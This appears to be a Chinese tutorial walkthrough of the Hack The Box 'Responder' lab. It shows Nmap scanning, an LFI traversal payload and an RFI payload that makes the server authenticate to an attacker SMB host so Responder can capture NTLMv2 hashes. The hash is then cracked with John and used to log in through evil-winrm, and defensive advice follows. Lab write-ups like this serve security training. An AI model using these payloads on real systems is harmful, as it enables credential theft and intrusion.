HTB Responder靶机渗透测试教学文档

1. 初始信息收集

1.1 端口扫描

使用Nmap进行全端口扫描：

sudo nmap -sS -sV 10.129.135.227 -p- -T5 -vv

• -sS: TCP SYN扫描
• -sV: 服务版本探测
• -p-: 扫描所有端口(1-65535)
• -T5: 最高速扫描
• -vv: 详细输出

1.2 Web服务分析

访问IP地址时会被重定向到unika.htb域名，需要将域名添加到/etc/hosts文件：

10.129.135.227 unika.htb

2. Web应用漏洞分析

2.1 技术栈识别

使用Wappalyzer插件识别服务器使用的脚本语言（PHP/ASP/JSP等）

2.2 文件包含漏洞

发现URL参数page用于加载不同语言版本的网页，存在文件包含漏洞：

http://unika.htb/index.php?page=french.html

2.2.1 本地文件包含(LFI)示例

..\..\..\windows\system32\drivers\etc\hosts

2.2.2 远程文件包含(RFI)示例

//10.10.14.6/somefile

3. NTLM哈希窃取攻击

3.1 NTLM基础知识

• NTLM全称：New Technology LAN Manager
• 是一种Windows身份验证协议

3.2 Responder工具使用

1. 下载Responder：

git clone https://github.com/lgandx/Responder

2. 启动Responder监听：

python3 Responder.py -I <网卡名称>

• -I: 指定网络接口

3.3 触发NTLM认证

利用RFI漏洞触发目标服务器向攻击者发起认证请求：

http://unika.htb/index.php?page=//10.10.14.173/somefile

4. 哈希破解

4.1 哈希保存

将Responder捕获的NTLMv2哈希保存到文件

4.2 使用John the Ripper破解

john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

• --format=netntlmv2: 指定哈希格式
• --wordlist: 指定字典文件

5. 横向移动

5.1 识别WinRM服务

Nmap扫描发现5985端口开放，这是Windows Remote Management(WinRM)服务端口

5.2 使用evil-winrm连接

evil-winrm -i 10.129.135.227 -u Administrator -p <破解的密码>

• -i: 目标IP
• -u: 用户名
• -p: 密码

6. 后渗透阶段

6.1 查找flag

在用户目录中查找flag文件：

C:\Users\mike\Desktop\flag.txt

附录：关键知识点总结

1. NTLM认证流程：了解NTLMv1/v2认证过程是理解Responder攻击的基础
2. 文件包含漏洞：
   • LFI：读取本地文件
   • RFI：加载远程文件
3. Responder工具：不仅能捕获NTLM哈希，还能进行多种协议欺骗
4. 哈希破解：John the Ripper是常用的哈希破解工具
5. WinRM利用：5985端口常被用于Windows远程管理，evil-winrm是常用工具

防御建议

1. 禁用LLMNR和NBT-NS协议
2. 实施SMB签名
3. 限制NTLM使用，优先使用Kerberos
4. 对Web应用输入进行严格过滤
5. 定期更新密码策略